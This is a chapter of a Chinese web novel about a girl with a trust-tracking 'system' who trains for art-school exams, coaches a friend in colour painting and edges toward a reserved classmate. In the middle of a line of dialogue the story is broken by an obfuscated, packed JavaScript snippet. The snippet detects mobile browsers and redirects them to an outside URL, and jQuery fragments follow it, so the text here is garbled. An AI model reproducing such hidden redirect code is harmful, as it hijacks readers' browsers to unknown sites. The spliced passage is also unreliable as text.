27. 近猪者吃,近墨者黑
作品:《她睡在时针背面》 系统瞬时播报:[恢复旧日友谊任务进度已飙升至80%。]
真不知道该说这是心有灵犀还是臭味相投。
角落里黑色小卷毛和红色蘑菇头不亦乐乎地画着画。
其实信任度到达90%以后,林听眠的人物攻略已经可以说是大告成功了。
更别说祝一一这种关系一近好感就噌噌往上涨的人。
她完全不需要担心会和她断交关系,毕竟不是谁都像关却一样……
骂她信任值会上升、夸她还会下降的。
虽然能够适当共情关却的心理,但是并不能代表她就能够理解。
果然下一秒系统再次播报:[检测到关键人物关却信任值下降至75%。关键人物沈觉相较信任值下降至50%。]
嗯,又白干了。
但是,怎么会有沈觉呢?林听眠强力压抑住自己的疑惑。
关却恰时开口:“你们这两个很有天赋的人凑在一块儿,让我觉得……”她皱着眉说,“让我觉得挺酸溜溜的。”
果然这孩子就是诚实,什么话都能说得出口。
显然祝一一已经习惯了关却的说话方式,她毫不在意地说:“这只能说明近朱者赤。朱就是朱红,就是红色,也就是我。”
“靠近我的人也会画得好,也会和我一起变红色。”
关却扫了一眼她的红毛,泄了气一般对她讲:“那还是算了。我这个人比较喜欢近墨者黑。”
说着她就把画椅拉过来靠近了黑发林听眠。
“……”
真不知道这是在骂她还是在夸她。
祝一一也不计较,甚至更高兴地说:“现在好了,现在我们三个人中有三个人画得很好嘿嘿嘿!我们三个都很有天赋!”
林听眠一本正经地胡说八道:“我来向你解释什么叫做近朱(猪)者赤(吃),你是祝一一,你是猪。”
“靠近你的人,只是因为你是猪。”
“有美味的猪肉,想要吃掉你而已。”
祝一一撅嘴:“那这个就说明我秀色可餐、津津有味、垂涎欲滴、山珍海味、五味俱全、十全十美啦!靠近我的人都会被养得很好!”
林听眠和关却无声地竖起了大拇指。
此人已然无敌。
路遇红色猪头,拼尽全力无法抵挡。
防不胜防,难以抗拒,锐不可当,无坚不摧!
可怜的林听眠和关却被打得落花流水,片甲不留,溃不成军,一败涂地,全军覆没!
系统的声音带着明显的笑意:[播报播报!号外号外!应对破碎关系任务进度已达到60%。]
林听眠只是感到好笑,想着:“成语接龙没有龙的魅力这么大吗?”
关却强烈要求这两个红猪和黑人担当她的私教老师。
于是两人毫不客气地坐到关却的位置上,对她的画改改讲讲,留下很多笔记。
林听眠在旁边偷学祝一一的绘画技巧。
祝一一在外学习的画法讲究清透、自然,和她本来的画风就很类似。
而校内老师教的则显得更为厚重,讲究扎实感。
当然风格不重要,画好才是最重要的。
关却只是嘴上酸言酸语,说着自己不如别人,但实际上她却是最认真的那一个,对画面要求很高很高。
祝一一贴心地传授着自己的小技巧:“色彩一模考的都是苹果。苹果虽然被指定了颜色,但是同类色需要微妙的区分。”
“同样是红,可以偏冷,可以偏暖,可以偏纯,可以偏灰,也可以混上环境色。”她随手蘸上几笔春日青,又点上几下蔷薇粉。
左冷右暖,随意加上几笔,主体物的苹果就变得透亮起来。
关却和林听眠小鸡啄米一般点着头。
“还有就是时间比较重要。”
祝一一边画边说,“正式考试有三个小时的时间,第一个小时就来打型铺色,尽量把整张画纸都铺满;第二个小时是主体物的塑造;第三个小时是其他物品的塑造,还有调整整体画面的关系。”
“速度要抓紧,前期一个小时尽量做到一气呵成,不要慢慢地磨。”
这个“慢慢磨”,显然指关却。
关却点头表示受教。
林听眠在右边拿了一支扇形笔作演示:“背景的铺设可以正反用笔,笔触多变一些。不仅铺得快,也显得自然。”
关却点头表示领悟。
“主体物的塑造,下笔前就要安排好内容,要做到心中有数。”
“一定不要一个一个地去塑造,除非你是大师水平可以随便造,否则最好还是按照顺序来。”
“最后苹果的摆块可以用一个小小的扇形笔收形。”她说着手腕一扭,轻快地做一个演示,苹果的体积感立马卡了出来。
关却点头表示学到。
在有些时候,直觉会告诉你答案。
集训时间压得很紧,没有很多修整的机会。
学生们通常只是机械地吞噬着老师教给他们的内容,没有足够的时间去自己咀嚼、消化与思考。
他们缺失的从来都不是能力,而是时间。
要是多出来那么一点点空白的、可以不用画画的时间,而去用脑子理解画面,想必成绩会提高很多。
但是少的就是这样的时间。
而在不停不停画画的过程中,直觉会先于理性引导人。
你获得的通常就是那些需要反复认真思考后得到的结果。
这或许就是大胡子所说的“画着画着画出了感觉”。
两个人大显身手帮关却重新梳理了一下色彩小技巧。
林听眠满意地想,和祝一一一起画画的感觉真好。
虽然是讲给别人听,但是她的确从中学到了很多很多。
不仅仅是再次巩固自己已经拥有的知识,也怀揣着批判性的态度去思考自己原来的画法。
换一个角度想,要是自己是批卷老师,自己会怎么看待这样的画。观念就会变得很不一样。
她们现在所求的不是艺术,而是考试。
每一张画都是一张答卷。在上面画的其实是答案。
*
系统声称莫名有危机感,连忙警告林听眠:“……你有没有觉得有人一直在盯着你?”
林听眠低头。
“让我猜猜,是沈觉吧?”
陌生的她,疏远了她。
她默默地为这个青春疼痛剧本下定义。
林听眠抬头。
一张大脸映入视线。是大胡子。
“……”
怎么是?校园悬疑喜剧。
“也有可能是悲剧。”系统悠悠地说。
果不其然,大胡子再次劝说:“看到你们这一届在10月份就能画到这种水平,我就放心了。希望这一届啊,尤其是你们几个能够多多出几个省排名前几的啊哈哈哈哈哈。”
“……”
大胡子自话自说,越讲越高兴,越讲越嗨:“像祝一一她这种水平去外面画室都是免学费的。她自己本人也有意向去考美院,所以我和她家长商量让她去的。”
“但是像你和关却目前还没有做好打算,我作为老师还是希望你们可以去尝试一下的。”
“……”
回忆起上辈子滑铁卢的联考成绩,她心有余悸地回复老师:“我觉得这还得是看我联考考得怎么样,考美院的话风险太大了。”
大胡子摆摆手:“你现在这个水平可以去各个画室横着走了。”
“我还是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16082318|179410||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
比较喜欢竖着走,横着走太累了。”林听眠淡淡地说。
“……”
“我看人很准的!你画画的熟练度,远超其他人!感觉又画了一年似的。”
“这个就是很大的优势哈哈哈哈!后期还会练得更多,就能有时间再把技巧什么的再提上去啊哈哈哈”
此人说欢了,仰天大笑扬长而去。
“……”
看人确实很准,感觉已经被看透了。
她曾经如此,陷于盲目自信和徒劳悲观之中,大起大落落落落落。
有时幻想自己一举考上心仪院校,有时又幻想自己被刷下去落榜。
提前奖励会预支幸福,
提前焦虑等于贷款吃屎。
焦虑的本质是用单一剧本抢劫人生可能性,而吃下去的屎只会长出更多。
这并非未雨绸缪,而是在下暴雨前先淹死自己。
痛苦的高利贷分期抵押当下快乐,强制重复食用。
纯粹属于自己恶心自己,自己折磨自己。
别放眼看过去,也不用放眼看未来。
只需睁大眼睛看着现在。
现在,她体感良好,食用过一桶泡面和一个苹果,还可以再画一张完整的三小时色彩。
林听眠站起身来四处走动。
刚考完试这几天,大胡子一直让他们改手上的考卷。
自己先改,再交给同学改,最后觉得还可以再改就交给老师。
好嘛!“自检,他检,师检”。
她故作漫不经心地绕过大半个教室,最终还是踱步来到沈觉身旁。
沈觉一侧的头发安静地垂落在胸前,挡住了大半张脸。
她刚刚向前迈进一步。
系统及时播报:[检测到关键人物沈觉信任值上升为51%。]
还有这种好事?
她试探着迈出另一只脚。
[检测到关键人物沈觉相较信任值下降为49%。]
?
她不敢多动,把那只脚收回,站在原地。
[检测到信任值上升为50%。]
难道只能用左脚?她试着再用左脚向前走一步。
[检测到信任值上升为51%。]
竟然是真的吗?于是林听眠再一次迈左脚,右脚随即跟上。
沈觉终于忍无可忍,突然抬手撩开遮眼的碎发。
左手无名指擦过左眉弓——那粒小痣从眉眼间浮出来,像落在雪地的籽。
林听眠正撞见这颗棕褐色圆点随眉骨起伏。
她顺势再向前一步。
左脚。
距离缩至半臂,沈觉绷紧的下颌线牵动眉梢。
眉肌收缩时痣被推挤变形,如同投入石子的水洼荡开涟漪。
林听眠停步带起的气流,掀动沈觉发辫的毛流。
碎光簌簌跌进眉梢的凹陷里。
沈觉侧头看向她:“嗯……林同学,你在做什么吗?”
“很明显,其实和迈哪只脚一点关系都没有吧!明明是沈觉刚刚内心在挣扎。”
系统现在对林听眠的脑回路感到大为震撼。
沈觉握刮刀的指节抵住太阳穴,骨节顶起薄皮,将那颗小痣撑成饱满的椭圆。
调色盘上未干的群青突然倒映出林听眠逼近的身影,冷色镜面里,那粒棕点正随主人后仰的动作滑向眉弓阴影深处。
“我当然知道啊。”
林听眠回应着系统,“这只是我为了吸引她注意力的小小手段罢了,你看这不是成功了吗?”
“……”
“沈同学。”
她学着沈觉说话的样子,笑语嫣然。
“我来教你呀。”
她看见痣的边缘在颤动。

